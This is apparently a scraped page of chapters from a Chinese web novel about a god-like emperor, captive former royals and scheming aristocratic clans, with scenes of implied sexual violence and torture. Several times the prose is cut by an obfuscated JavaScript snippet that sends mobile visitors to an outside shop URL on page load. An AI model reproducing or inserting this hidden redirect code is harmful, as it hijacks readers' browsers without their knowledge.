他心想,若是那谢吾德当真敢发,他倒正好能从这些昔日的荣人手中将东西抢过来。 萧国皇帝一想对方不敢,他忽然有一种自己损失了的感觉。 唯有丞相蹙着眉,面露忧色。 他很想说:“陛下,重点岂在能从荣人手中抢到些什么?此事关键,在于其背后透出的能力。谢吾德能一夜之间,无声无息地将物资分发至所有人手中,他背后有多少可用的人手,这些人对谢吾德又是何等的忠诚?而且他发下来的食物又不是冬日的西北风,一兜一大包,他肯定有一大片、大到恐怖的田地,还有一堆人能帮他种地……” 可惜,他什么都没有说,因为皇帝不爱听,他一定会斥责丞相灭自己威风长他人志气的行为。 萧国皇帝并未领会此中利害。 丞相看着皇帝不以为意的神色,心下暗叹。 他侍奉这位陛下已久,自其尚为太子时便已在侧,那时皇帝兢兢业业,唯恐先皇有半分不满,然而自登基之后,最开始几年他依循先皇遗策,成功俘获南荣皇帝,使萧国前所未有地强大起来。 他们这些曾被荣人蔑称为“北方蛮族”的边鄙之人,竟一朝擒获了中原天子。 萧国皇帝将此功全然归于自己的能力,自视为不世出的英主,往日的谨慎便抛诸脑后,美酒、美人、金银、玉器全都恣意享用,日渐放浪形骸了。 他时常嘲笑那被俘的荣国皇帝如何怯懦无用,只知贪图享乐,却不知在丞相听来,每一句都像是在评价他自己。 丞相每每听闻,都替他感到一阵心虚,偏生皇帝仍自觉做得极好。 看出皇帝行为不妥的可不止丞相一个聪明人,胆子比丞相大的也大有人在,只可惜皇帝一听这种谏言就勃然大怒,下令把那不敬皇帝的家伙拖出去砍了。 把他和荣国的皇帝比,实在是太过于侮辱他了。 这不是纯粹地在骂人吗? 丞相只觉心力交瘁,却又无可奈何。 皇帝如今之所以还容得下他,不过是念着先皇敬重他,顾全父亲的颜面罢了,实则对他早就不耐烦了,如果丞相哪天让他不满意了,他恐怕立刻就要把丞相下狱。 丞相并非贪恋权位,他只是深为萧国的前途担忧。 他看着皇帝身边逐渐聚集起来的奸佞,他真怕昔日荣国的下场便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他们可不是自诩文明的荣人,即便自诩文明的荣朝,也未必真有那般讲究,奚落人的水平可比萧国要多多了。 几名萧人嬉笑着走向囚禁荣国旧帝的院落。 他们很想苛待这位北荣亡国之君,但是这个娇弱的艺术家展现出了令人发指的适应能力——指即使是这么困难了也能够发泄自己的人欲。 比起许多被掳至北地的普通荣人,旧帝的境遇堪称优渥。 荣人到底注重体面,即便皇权尊严已被践踏殆尽,他们仍不忍见自家皇帝在萧国冻饿而死,总会想方设法送来些金银吃食。 即使经过萧人层层克扣,到底还能让他过得比较滋润,甚至这些年又添了几个子女。 即使是萧人,都想说一句:“你真能享受得下去啊!” 大家都觉得这位离人已经有点远了。 35.第 35 章 这位旧帝却总是郁郁寡欢。 在这位现在已经从太上皇变为太上太皇这里,忧郁和享乐并没有直接关联。 当然,他的忧郁并不是深刻而沉痛的反思,他觉得果然是奸臣误国、百姓懦弱,他顶多就是反思一下自己没有把握得好平衡,当时说不定少征一点点东西就能够换来转机。 他有错,但是只有一点点错。 见萧人靠近,旧帝的长公主立刻回身缩到角落里将女儿紧紧搂入怀中,用身体死死挡住孩子的脸。 她对这女儿感情复杂,既有怜爱,亦有太多的恨。 这并非她自愿生下的孩子,一个被掳至北地的女人,孩子的来历绝对不是她愿意回忆半点的。 她曾深恨这个不被期待的生命。 直到有一次,那些萧人把手伸向了他们同族的这个女儿,她才逐渐明白了一件事。 这是仇人之女,却也是一个同她一样无法掌控命运的可怜虫。 她在女儿身上看到了自己的影子,她当时发疯地去把孩子抢了下来,她的指甲已经磨秃了,所以就只能用牙狠狠地咬人。 她把女儿抢了回来,但是被人打掉了半边牙。 今日来的萧人是想要羞辱旧帝,并未理会她。 她早就年老色衰了,而且掉了半边牙齿,看上去又丑又恶心,早就没了当年的清丽的容貌了。 她女儿倒是不错,但是现在谁敢动她女儿,她真的会和人拼命。 既然不是故意来找她的,那就没必要理会这个女人。 长公主警惕地看着那群人走了,她才惊觉自己的指甲已经陷进了女儿的肉里。 她放松了下来。 她的这个女儿没有正式名字,旧帝觉得她晦气,连这个大女儿都不见,怎么会给她和萧人的女儿起名字。 所以长公主私下唤她“谢萍”。 她觉得她们母女的命运,便如这浮萍一般,无根无依,看不到半点希望。 过了一会儿,一位年纪较小的公主悄悄寻来,语带雀跃:“大姐,你可知南边出了大事?” 她身上的衣服只是普通的布料,普通人家要是看到她这一身衣服,指不定会有多么羡慕,但是如果她和人说自己是个公主,那大家绝对会觉得她着实是寒酸。 好东西主要都留在了旧帝的手上。 她这般活泼倒也情有可原。 这姑娘是皇帝被掳至萧国后才出生的,尚存几分不谙世事的天真,她也就比谢萍大几岁,她刚出生的时候旧帝看她还是有点喜爱的,在她失去宠爱之后又总是跑到长公主这边求庇护,她未曾受过太多磋磨,胆子比他们要大很多。 长公主闻言却心头火起,厉声道:“乱跑什么!你不知那些萧人会做出什么事来?还当自己是小孩子么!” 小姑娘被她严厉的语气吓得缩了缩脖子。 长公主对父皇被俘后竟还有心思生育子女的行为深感鄙夷,但是幼妹是无辜的,而且这里实在是太危险了。 她并不打算听妹妹说话,得让她长个记性。 在小姑娘扯着她衣袖央求许久后,长公主才放松了自己的表情。 见她搭理自己,小姑娘立刻迫不及待地分享刚听来的消息:“听说南边换皇帝了!” 长公主本来以为小姑娘并不清楚什么算是大事,她有时候觉得榻上跑了只老鼠都是天大的大事。 可是她没想到自己真的听到了会让自己一惊的大事:“换皇帝?” 她知道九弟早年南逃建立了南荣,但是……换皇帝? 是自己的九弟死了吗? “你听到具体是什么情况吗?”长公主问完了就想捂住自己的嘴。 她不该问这个问题的,她可别激励了小姑娘。 小姑娘摇头:“我只听了一半就跑回来了,不过好像听到父皇气得骂人。” 她作为被保护得尚好的幼女,对许多事缺乏敏感,不过她也怕被萧人发现,姐姐们的叮嘱她记着几分,所以听了个开头就跑了。 她也只是胆子比较大,又不是真的无所畏惧。 长公主想,父皇为什么生气?总不能是新皇帝不被他看好吧? 可是这都十多年将近二十年了,他对自己那些孙子完全没有了解,他们有什么可生气的。 “姐姐,你说要是换了皇帝,新皇帝会不会接我们回去?我该叫他什么?皇帝侄子吗?” 长公主听得心惊,真想立刻捂住她的嘴。这是能随便说的吗? “慎言!”她深深叹了口气,“那是皇帝。这里是萧国。” 这是绝对不能提 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理由太多了:谢萍实则并不姓谢,有几个孩子会随母姓?姓在某种程度上来说是父权社会的产物,标志着这个孩子父亲的血统,但是在母系社会,哪个孩子不知道自己的母亲是谁? 更何况荣朝公主的孩子都是随父姓的,随母姓就根本不会被承认。 更何况,这个女儿是长公主与萧人所生。 长公主没有在受辱后以死明志,若有机会回到南荣,她都能想象自己将面临怎样的攻讦。 在萧国的日子固然艰难,但回去也未必就有好日子过。 自己的女儿还想进步? 能好好地像是这个世界的普通女人活着都难。 再者,皇帝自有子嗣,怎会轮到一个堂妹来继承大统? 皇帝又不是疯了。 关于谢吾德的种种行事,在荣国境内早已传得沸沸扬扬,成为众人茶余饭后的谈资。 可惜,这些消息显然还未曾传到萧国,长公主对她那素未谋面的皇帝侄子,没有半分了解,不然她一定能明白这个皇帝是什么样的癫人。 在他身上,一切皆有可能。 36.第 36 章 谢吾德本想把投放的范围直接扩展到被萧人占据的土地上,何止是曾经的荣人,就算是萧人他也可以分一点。 荣人和萧人已经是百年的仇敌了,彼此之间纠缠厮杀,尤其是荣人,在十几年前的那场灾难中,无数人家破人亡,他们恨萧人,恨到恨不得生啖血肉。 可是对于谢吾德来说,这种事完全没有实感呢。 荣人也好,萧人也罢,真的能指望他一个现代中国长大的家伙对这种古代的民族仇恨有太多的代入感吗? 只有跟他说起近代史他才会因为民族仇恨红温。 至于现在,他看萧人只觉得这群人早晚都是他的人,直接学美国搞远程养殖多好。 谢吾德可以暴力征服所有人,但是这也不代表他不喜欢那种传檄而定,箪食壶浆以迎王师的感觉。 不过这念头被他的本体拦了下来。 亚夏的观点是:在荣国的统治范围内,那些官吏会因谢吾德的手段而噤若寒蝉,谢吾德占据名分大义和暴力,绝大多数人不敢随便动手,皇帝的赏赐怎么可以被人抢走呢;但在萧国的地界,那群家伙虽然会觉得谢吾德诡异又邪门,但是抢走所有人得到的东西。谢吾德作为荣国皇帝的威严终究是有限的。 如果谢吾德他不想四处救火,最好暂且别折腾太过,等着以后再补上也行。 谢吾德不喜欢亚夏那磨磨蹭蹭、顾虑重重的处事习惯。 他都这般强大了,若还不能肆意嚣张,那他作为“神”的面子该往哪儿搁? 但他心底不得不承认,亚夏这次说得对,只是谢吾德嘴上不肯承认。 就在这时,温特也适时地开口,说了句公道话。 很多人都说,当有人站出来说“我要说句公道话”时,潜台词是我要拉偏架了。 至于这是不是真的还是因人和场景而异,但是温特现在的确是有立场的。 温特的基本理念向来与亚夏相近,他也看不惯谢吾德的许多行事,只是态度更为委婉,让谢吾德愿意多听几句。 “要让其他人知道臣服于你的好。在待遇上显出差距,才会让人更向往你的统治。” 这话听上去就高情商多了。 温特不像亚夏那般固执,亚夏是坚决不说一句违心之言的。 不是亚夏想不到,亚夏只是认为统治和剥削是错误的。 温特只觉得,亚夏对自己严格遵守普世道德标准的要求简直能把他自己憋死,受不了。 他受不了谢吾德有些时候的态度,也同样受不了亚夏有些时候的态度。 这俩都是偏执狂、二极管。 没有被他们气死不是他脾气好,而是死不掉。 至于阻止谢吾德不要发东西? 无论是亚夏、温特还是谢吾德,这个念头就完全没有在他们脑海里出现半秒。 甚至谢吾德都想过发书,不过这个世界的人基础实在是太差了,文盲率高,而且未必有什么辩证思考的能力。 如果要是让那些世家门阀看到谢吾德想要发的书的内容,那大概更是想要掐着人中给自己来一个急救,并且问谢吾德这样做对他有什么好处? 何止是这个崇尚法家的世界如此? 即便是那条推崇“有教无类”的儒家世界线,本质上也是禁锢思想,传递的只是皇帝认可的学说。 知识在这个时代是昂贵的,但总有人会让知识在昂贵之外,更变得珍稀。 科举制度打破了一定的阶级藩篱,却只是铸造了一个更大的牢笼。士子们无需研究统治者选定课题之外的东西,那些之外的,皆是“奇技淫巧”,是王公贵族无法掌控的力量。 无法被掌控的变数,总令他们寝食难安。 不过,谢吾德虽然自称皇帝,但是其实他和任何一个皇帝都不一样。 李世民说水能载舟亦能覆舟,这个比喻其实也很精准,也许作为一个千古一帝级别的皇帝他能够意识到他力量的本质,他固然强大又有魅力,但是百姓人多,人多就是力量。 木船前进靠的是木船强大吗?不能说没有这方面的因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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大概只有本体会以“神明必须全知全能”的定义判断谢吾德这个并不全知也不全能,偶尔还会被信仰反向轻微影响性格的家伙并不是神,只不过是个过分强大的非常规人类。 谢吾德只想吐槽有谁看《西游记》的时候看到玉皇大帝喊去西天请如来佛祖的时候觉得玉皇大帝不是神了? 纠结定义干什么,当所有人都说他是神的时候,他就是神。 37.第 37 章 绣娘做衣服的速度很快,准确地说,是宫中的这些绣娘都是万里挑一的纺织天才,效率很高。 之前谢吾德答应去配合他们,但是转头便不见了踪影,众人到处都找不到他人去哪了。 这就是个撒手没。 按理说皇帝在的地方到处都是眼睛,但是那群人真没办法捕捉到谢吾德的身影。 谢吾德也不喜欢在自己随意行动的时候有人跟着,他喜欢跟着别人。 单纯因为跟着别人方便进行偷袭,而且不会被人袭击。 一般来讲,他们已经不会因为谢吾德的突然消失着急了,谢吾德就跟宫里的那群猫一样,谁知道它们看不见的时候都去了哪里,说不定直接化在了空气中了。 结果过了一天,谢吾德又突兀地出现,他直接在织造局那边出现。 他的突然现身,将绣娘们吓了一大跳。 她们只是普通宫人,对谢吾德的了解,全来自于宫中的流言蜚语。 在这些传言里,谢吾德扮演的是如同恶鬼般的角色。 要是谁到谢吾德跟前做事,旁人都要来一句:“他是不是为了往上爬,连命都不要了?” 实际上,谢吾德本人与传言中所描绘的基本无差。 绣娘们的恐惧实在是太合理了,谢吾德确实不是一个适合普通人接近的存在。 林耀祖来的时候就看到他们的皇帝正托着腮,看着这群绣娘绣东西。 他坐得很端正,没有翘着腿,双脚平放着,另一只没有托着脸颊的手放在桌子上面。 他注意到林耀祖一行的方向,只是看了一眼,这一眼让林耀祖忽然感觉眼前的这个谢吾德不对劲。 谢吾德总是笑嘻嘻的,主要是因为他四处找乐子,折腾人。 只是眼前坐在这里的谢吾德看上去不仅一点笑都没有,甚至看上去不像是一个活人。 虽说谢吾德也不是一直在笑,他也经常面无表情,但是那只是因为没事可做所以才没有表情。 然而眼前的这个“谢吾德”坐在那里,就像是一个被上色的雕塑一样,什么情绪都没有。 他的脸笼罩在阴影,只有头顶的一点被阳光照到,拢上了淡淡的金色,手指顶在脸颊上,眼睛半阖,只有透过睫毛的一点点才能够看到那双蓝色的眼睛。 “谢吾德”的皮肤一直都很白,在阴影之中几乎看不到他脸上红润的颜色,便显得格外诡异。 林耀祖觉得他现在看起来多少有点伪人了。 “陛下。”林耀祖轻声喊了一句。 “谢吾德”目光转向了他,然后有点认真地点了点头,只是一句话都没有说,又飞快地把目光转移了回去。 说真的,这就有点邪门了,这看上去一点都不像谢吾德。 谢吾德有这么礼貌吗? ……还是有点礼貌的,只不过谢吾德身上有一种非常自然的没有把人当人看的感觉,这种感觉才是那种让人觉得他没礼貌的根源。 . 林耀祖的直觉没错。 在这里的当然不是谢吾德,而是他的本体亚夏。 谢吾德说他懒得去量衣服,也懒得去想之前他以后要有什么施政理念,反正他没有施政理念,让亚夏过来帮他敷衍一下。 亚夏本来想说自己的作业自己做。 亚夏是一个坚决的不抄作业的,怎么可能会替谢吾德作弊呢? 只是谢吾德问他:“你还记得之前帮我缝衣服的时候,你把针插在我的身上了吗?” 谢吾德手里捏着一根针,对亚夏说道:“你让我扎一下,我就原谅你。” 亚夏只能憋屈的答应了下来。 当然不是答应被针扎。 他和谢吾德都是晕针的人,打针需要被人按着打,再不济也得掏出自己的玩偶抱着打,对于成年人来说很丢人,但是这方面丢习惯的就好了。 不是怕疼,往伤口上洒酒精他们都能扛得住,就是单纯怕针。 亚夏也害怕。 以谢吾德那没分寸的性格给他表演个容嬷嬷或者唤醒他久远的测过敏原的记忆都有可能。 但是在答应下来之后,又觉得不如让谢吾德扎他。 当皇帝? 亚夏觉得十分扯淡。 当皇帝、当神明,那是谢吾德的兴趣爱好,和他亚夏有什么关系? 他可是一个坚定的反封建反剥削反神权、提倡平等的人。 谢吾德如今干的事和他的观点完全是截然相反的。 他就是不想看谢吾德在现实世界里乱折腾,才特意给他造了这么一个世界,让他在这里尽情撒欢,并不代表他向谢吾德妥协了。 亚夏觉得他有理由担心哪一天谢吾德会来找他,说他想要当总统,他还得给他屁颠屁颠的造一个能够让他当总统的世界。 他觉得之前自己安抚谢吾德的策略有点草率了。 亚夏看着林耀祖,指了指他手上的本子。 林耀祖愣了一下,不明白这是什么意思。 亚夏伸手把她的本子拿了过来,然后他从边上随便抽了一支笔,开始写东西。 林耀祖小心翼翼地凑过去看了一眼。 自从高考过后,林耀祖基本上就把相关的技能给忘了个差不多,会翻译的基本上也只是当时课本中所提到的那些文章,换成别的内容,她就基本看不懂了,只能连蒙带猜地猜到一些的去。 尔雅也偷偷地看了,看出亚夏是在写即位诏书。 虽然涂涂改改不是一气呵成,但是能从字里行间中看出严谨和精准。 尔雅觉得这不是没怎么好好学还喜欢说大白话的谢吾德能够写出来的东西,而且……他是不是到现在一句话都没有说? 谢吾德没那么安静。 如果不是谢吾德的眼睛颜色过于特殊的话,他们大概当场就要怀疑这个人是不是谢吾德。 但是疑虑也逐渐地从他们心中升起来了。 亚夏大概也意识到自己此刻的行径有些惹人怀疑。 他在许多事上与谢吾德的思考方式完全相反。 谢吾德把自己看做是高高在上的神明,而亚夏只觉得自己是个再普通不过的凡人。 然而两人却又在某些地方完全一样。 亚夏也时常不在意旁人眼光,是个我行我素的主。 即便清楚自己眼下举动颇为古怪,但一想到这烂摊子终归是谢吾德的,与他干系不大,这点小事他便懒得多费心神了。 横竖他此刻是在替谢吾德收拾残局,即便那家伙不满意他收拾的方式, 亚夏花了不少时间才将那份东西写完。 如果让他写一篇论文,以他现在的效率还是很高的,但这是一封诏书,得阐述政治理想,还得讲究些辞藻与修辞技巧。 这种限定题材的东西最讨厌了。 就像是英语的那种离谱作文,题目名为:“你被分裂出来的自己今天要登基了,但是他不会写登基诏书,你能帮他写一份登基诏书吗?” 不会写就不要登基。 亚夏被丢了这个工作的时候只想把纸塞谢吾德的嘴里。 亚夏他看上去就像是会写这玩意的吗? 他已经很久不掺和政治了。 亚夏也不是没有政治理想。 作为一个极其特殊的存在,他很难不被动卷入各种事情中,不过他希望的是构建一个人人平等、没有剥削与压迫的美好世界。 只是这种理想与这封建社会有半分钱关系吗? 谢吾德就是那个最大的压迫头子,帮他做事就是完美解释什么叫助纣为孽。 但是亚夏也不能给他整个惊天大活让谢吾德没得玩,谢吾德不折腾这个世界就要去折腾他们的世界了。 亚夏一般绝不会轻易向谢吾德妥协,两人谁也奈何不了谁。 只是对于亚夏来说,这个世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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亚夏记不住人是天生的,谢吾德和他一样,只是谢吾德就算能记住大概也懒得记,毕竟再过个几十年就要死的人也没有让他费心的意义。 亚夏与谢吾德顶着一张相同的面孔,但给予旁人的感觉却截然相反。 亚夏沉静冷淡,谢吾德活泼好动。 前者是死寂的,后者是鲜活的。 尽管那种鲜活单纯就是在发疯。 尔雅这才发现眼前的人从头到尾一句话都没有说。 谢吾德的话不算少, 林耀祖有些奇怪地发现,自己直播弹幕里那些撺掇他去试探“谢吾德”的评论似乎少了许多。 她甚至怀疑是自己穿越直播的热度过去了? ……其实也有可能是此刻的“谢吾德”散发出一种极强的压迫感,就像是普通人迎面撞上了自己的班主任,让他们实在是不敢随便开口。 亚夏只是将谢吾德手头的一些杂务处理妥当后,他便起身准备离开。 他在离开的时候和尔雅对视一眼。 亚夏的眼睛睁得没有谢吾德那么大,带着些许的倦怠,他在看着她的时候,尔雅只觉得自己像是被完全看透了一样。 不是像是,似乎就是。 尔雅后背的汗顺着她的脊背流下,她的肌肉紧绷到近乎颤抖。 但是亚夏最后什么都没有说,只是从头沉默到尾,他沉默地来了,就像是沉默地走掉了。 下一次他再出现,大概要等到为了登基典礼帮谢吾德做最无聊的部分的时候了。 亚夏拿起手机看了看自己的脸,怀疑自己是不是长了一张任劳任怨的老黄牛脸。 明明他平时也经常摸鱼的。 至于那个尔雅? 谢吾德会在意这种事情吗? . 尔雅和织造局的绣娘们笑着打了一声招呼,问她们当初陛下出现的时候都说了什么做了什么。 绣娘们虽然犹豫,但是也知道尔雅是谢吾德现在面前的女官。 她们把一张纸条递给了尔雅。 上面写着一段话:“我来量一下衣服尺寸。” 尔雅:“……” 尔雅想,陛下这个替身或者是什么存在该不会是个哑巴吧? 38.第 38 章 谢吾德又要上朝了。 这一次算是他对所有人的服从性测试。 他想看看有多少人不上朝。 其实还没有登基,谢吾德算不上是皇帝,顶多是摄政。 可是他说自己是皇帝就是皇帝,其实现在出去找任何一个田间地头的人问一下,都会觉得谢吾德是皇帝了。 世家第一次感觉有点棘手。 他们其实很擅长煽动人去谋反,但是世家能够煽动人往往是占据了一个信息优势,而且他们大多掌握着话语权和百姓目之所见最大的威望。 但谢吾德实在是不按常理出牌。 他那一手直接让所有人都知道他谢吾德是现在的皇帝了。 这实惠是能够发到他们手上的。 而且只要有一口吃的,谁愿意造反呢? 都说中国农民脾气最暴躁,一言不合就起义,但是实际上,西方的封建对标的是周朝的封建,相比起皇朝的两三百年的长度,周朝可是有八百年,领主的地是领主的,领主总不能把自己的土地上的人折磨完,但是到君主专制中央集权那里,地方官吏只要把地皮刮干净给自己搞一个好看的政绩就能拍拍屁股上位了,地又不是自己的,竭泽而渔又不影响他们的仕途。 正如同原本历史上的第一个君主专制中央集权的国家建立伴随着的便是第一个大规模的农民起义。 现在他们手上有吃的,而且这些吃食除了吃上去不怎么顶饿之外暂时没能看出什么坏处,那大家的情绪自然都很稳定,很少会有人被他们煽动。 煽动者的目的可能截然不同,但是煽动情绪都是要有基础的,比如说五十万马克的面包。 现在南荣的日子还能过得去,手里也有食物,他们就更不愿意跟着其他人提着头做事了。 世家们也不是没有什么坏心思,比如说做点什么让普通人相信这位新皇帝发的食物里面有毒,但是谢吾德把东西发到了每一个人的手上,如果他们不能近乎同时影响到所有人,那这些百姓一对口风就会发现问题,到时候他们就会直接倒戈相向。 而且被否的另一个重要原因就是,他们其实不相信谢吾德能够做到自己一个人把东西发到所有人手上,他背后说不定有什么势力,搞不好就是邱腾邱将军在协助他…… 皇权和兵权合二为一,他们不敢闹出太大的动静。 陈家给他们看的东西他们也都知道了。 “天街踏尽公卿骨”。 不能给谢吾德直接动手的理由。 就算真的拦不住这个疯子,也不能让他在史书上得一个师出有名的好名声吧? 君臣之间很多观点都是截然相反,如果跟谢吾德说他像世家或者跟世家说他们像谢吾德,双方都会想要吐,但是在这点上却又莫名地达成了一致。 总不能让他赚到好名声吧? . 一开始,这些人是不想要去上朝的。 他们得给谢吾德点厉害看看。 如果谢吾德性格软弱,那就让朝中所有和世家相关的人都告假,仅仅留下小猫两三只;如果谢吾德稍微强硬一点,那就让那些大员或者比较关键的官员告假。 就是一个大下马威和一个小下马威的区别。 他们不想让谢吾德觉得他们妥协了,他们得给谢吾德找一点麻烦,让谢吾德意识到他们的重要性。 原本他们在朝会上想的都很好,但是现在却老实了。 原因无他,谢吾德是不会惯着人的。 他不会因为朝臣不来上朝而感到惶恐,他甚至会高兴这群人本来上班直接给他省出了一笔工资。 现在宫里除了他们朝臣之外还有宫女和太监呢。 只要他们敢不去,谢吾德就敢让那群太监和宫女上位。 太监宫女们是很乐意低价打工的,他们不像世家那么贪婪,他们只想要一个机会。 那群宫女太监能有什么本事?他们平日里就在这宫里的一亩三分地,他们并没有宽广的眼界,甚至可能都不认识字。 如果让他们这群人取代他们世家那些诗书礼乐样样精通的才子们,他们都要吐出一口血来。 说得粗俗一点:真的要让朝堂上只能凑出皇帝的两颗蛋吗? 虽然没人知道那玩意对思考有什么用,但是他们就是觉得没有不行。 谢吾德未来做的事情,陈氏告诉了几乎所有可信的世家,最后对于是否上朝这件事情,他们统一达成的意见是——去上。 在陈家展示的未来中,谢吾德甚至一度让太监宫女当官,世家不来就不来,谢吾德看世家没人来,甚至还当场喊出了“以后谁要当官先噶蛋”的话。 ……可能这话太离谱了,最后还是被他收回来了。 不过不管怎么样,没有世家的朝廷似乎运转顺利。 这对于世家来说太打脸了。 世家之间的竞争虽然激烈,但是在制约皇帝上面他们必须得达成统一。 如果不能共进退,就很容易被其他人分化,那么他们世家就再也无法维持住过去将近一千年的经营下来的神话了。 他们笃信他们世家姓氏出众,血脉优秀,他们通过垄断制造出来的优势被他们视作是他们的品种优势。 到时候取代他们管理这个国家的岂不就是那群寒门了? 就如同如今的余文彦一样。 虽然比太监、宫女要好上一点,但是没有世家的朝堂对世家毫无意义。 世家决定还是先别在谢吾德面前搞幺蛾子,先把这个萝卜坑占住了再说。 . 王钧搞了半天的剪辑工作,他好几天都没睡,他做了五六个版本。 他的确是个才子,而且以前还四处游历,所以他很细心,他知道其他地方的一些人不一定能听得懂视频中的口音,所以他选择因地制宜,让陈家找了各地的人,让他们不同的口音配音。 陈家一开始不太喜欢王钧掺和进来,但是在王钧开始干之后,陈家不得不承认,王钧的确是帮大忙了。 王钧能在几天时间搞定这些东西已经很天才了。 出门活动的时候,王钧注意到陈家似乎有人像是要远行一样。 王钧的大脑本能地开始思考起他们这是要去哪里。 陈琦不知道从哪里出现了,说到:“您怎么出来了?怎么没人跟着您?” 他好像察觉到了自己的口气稍微有点冲,所以他柔声补充了一句:“我们陈家可不能怠慢了我们的客人。” 王钧说道:“只是出来透透气,没必要让人跟着。” 陈琦露出了一个微笑。 王钧也没有问这群陈家人出去是想要做什么。 陈家和王家的合作关系一直都非常脆弱,在面对皇权的时候,他们世家是同盟,但是在对抗皇权之外的事情中,他们就是敌人了。 陈琦请王钧回去:“我回去一定好好教训家中的下人,那些人最近偷奸耍滑惯了,万一您迷路了怎么办。” . 王钧回王家了。 他的工作大致都弄完了,剩下的就看陈家能找到多少人配音。 王钧回到家中和其他的人说起这件事情,他们觉得陈家的行为有点奇怪,实在是让人想要琢磨他们这是想要干什么。 王旭觉得他们这么想也没有什么用,于是他便提出要去找那个穿越者问问。 他们获得的情报不如陈家多,不过好在他们有穿越者。 . 穿越者先生现在也很疲惫。 这年头可没人讲什么人道主义。 之前胡增鑫觉得有点看不上大皇子,他作为一个穿越者自然对愚昧的古人看不上眼,但是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16694811|185294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在他觉得大皇子对他还是很优待的。 毕竟当初大皇子指望着他能够给他制造更多的武器,不想要得罪胡增鑫。 可是王家可没有优待他的打算。 他们当然想要武器,但是他们不需要一个能够和他们平起平坐对他们指手划脚的人,他们只想要一个属于他们的狗。 大皇子想要能够辅助自己的、在世家之外的助力,但是世家的人多,他们不缺助力。 胡增鑫在看到王旭进来的时候忍不住颤抖了一下,他后退了一点,但是无处可退。 王钧不想知道胡增鑫经历了什么,他只是在一边抱臂看着。 王旭问道:“陈家人有人往北边走了,你觉得是因为什么?” 王旭之前在审讯胡增鑫的时候透露了不少情况,比如说陈家的天幕。 他要让胡增鑫明白自己不是独一无二的,他最好的结果就是配合他们世家行动。 胡增鑫也的确被王旭吓到了。 王旭说的绝对是天幕吧? 他所知道的历史中可从来没有出现过这样的东西。 现在历史一直在发生改变,这让他十分害怕。 胡增鑫以前觉得自己是独一无二的,但是现在他知道了世家有天幕,他也软弱了下来。 胡增鑫看着王旭,心里直想骂娘:我怎么知道陈家是去做什么?他又不是陈家人肚子里的蛔虫! 他只是知道点未来,又不是全知全能。 他要是真的全知全能,还能被他们抓住吗? 胡增鑫感觉现在这情况实在是太糟糕了。 他当初还不如跟着大皇子一起进攻皇宫呢。 就算落在谢吾德手上也行,谢吾德要么直接杀了他,要么会觉得他十分有意思,开始“玩弄”他。 总也好过被王家人这么没完没了地殴打。 这情况让胡增鑫觉得十分可笑。 之前他是冲着推翻谢吾德去的,但现在却有点指望谢吾德能来救他。 谢吾德的疯狂,在这套固有的体系里反而带着点离经叛道的意味。 作为皇帝,他的一举一动对这个世界影响巨大,他的很多决定确实导致了震动天下的灾难。 可他这个人比起世家,居然显得更现代一点。 至少他不会这么耐心而细致地折磨一个人。 在胡增鑫看来,王旭的问题实在是无理取闹,连谢吾德都不会做。 可惜,现在谢吾德可不会救他,不说谢吾德其实并不知道他的存在,他对谢吾德来说也没有什么用。 = 胡增鑫又被打了几顿。 王钧暂时出去了一下,等着打完了他才回来。 这就是人类非物质文化遗产——大记忆恢复术。 最顶级的“大记忆恢复术”能够让人无中生有,偶尔也能够让人大脑飞速运转。 王旭听胡增鑫嚎叫的声调顿了一下,就知道胡增鑫想起了什么,他抬手让殴打他的人住手。 胡增鑫忙不迭地说道:“也许……也许我想到了什么……” 他边说边往王旭的身边靠了靠,主要是想那群人如果拿鞭子抽他的话,会顾及到他身边站着王旭,怕误伤到这位主子。 王旭微笑着看着胡增鑫,他看上去笑意盈盈的,语气中甚至是温和的:“你想到了什么呢?” 他也没阻止胡增鑫靠近。 任何人看到王旭现在的样子,都会忍不住对他产生一些期待——哪怕刚刚就是王旭命令人打他的也是一样。 他对付胡增鑫的手段,就是训狗:先把狗打服,让他知道谁掌握着生杀予夺的力量,再偶尔给狗一点好脸色,让狗知道该向谁摇尾乞怜,才能得到那一点点甜头。 胡增鑫说道:“也许……他们想要去北方找到下一任皇帝荣昭宗。” 39.第 39 章 王钧反应了一下才搞清楚:“昭宗?不对,未来的皇帝现在在北方?” 荣朝曾经的两位皇帝都被萧人掳走,他们现在就在北方,而且还生了不少孩子。 这些孩子在理论上已经很难继承皇位了,毕竟如今的皇位是由谢珖来做,谢珖死后……现在还没死,但和死也差不多,就是谢吾德来的。 这个皇位最后应该是由谢吾德的孩子来继承。 就算是谢吾德无子,还有离谢吾德血脉更近的大皇子、二皇子和三皇子的孩子,他们的孩子已经都不小了,等到谢吾德死那天那些孩子年纪大概率都不会很大。 在北方的那群拥有皇室血统的人中选择皇帝本身就是一个不太妙的征兆。 胡增鑫知道的未来和陈氏都知道的未来是一样的。这就说明他们所知道的未来是同一个未来。 “那个荣昭宗是什么人?”王旭琢磨着哪个荣昭宗是什么人,是怎么上位的,是不是有什么了不得的手腕。 他们琅琊王氏有没有可能把他拉到自己的阵营之中。 不过昭宗这个昭字…… “荣昭宗……是个女人。”胡增鑫开口说道。 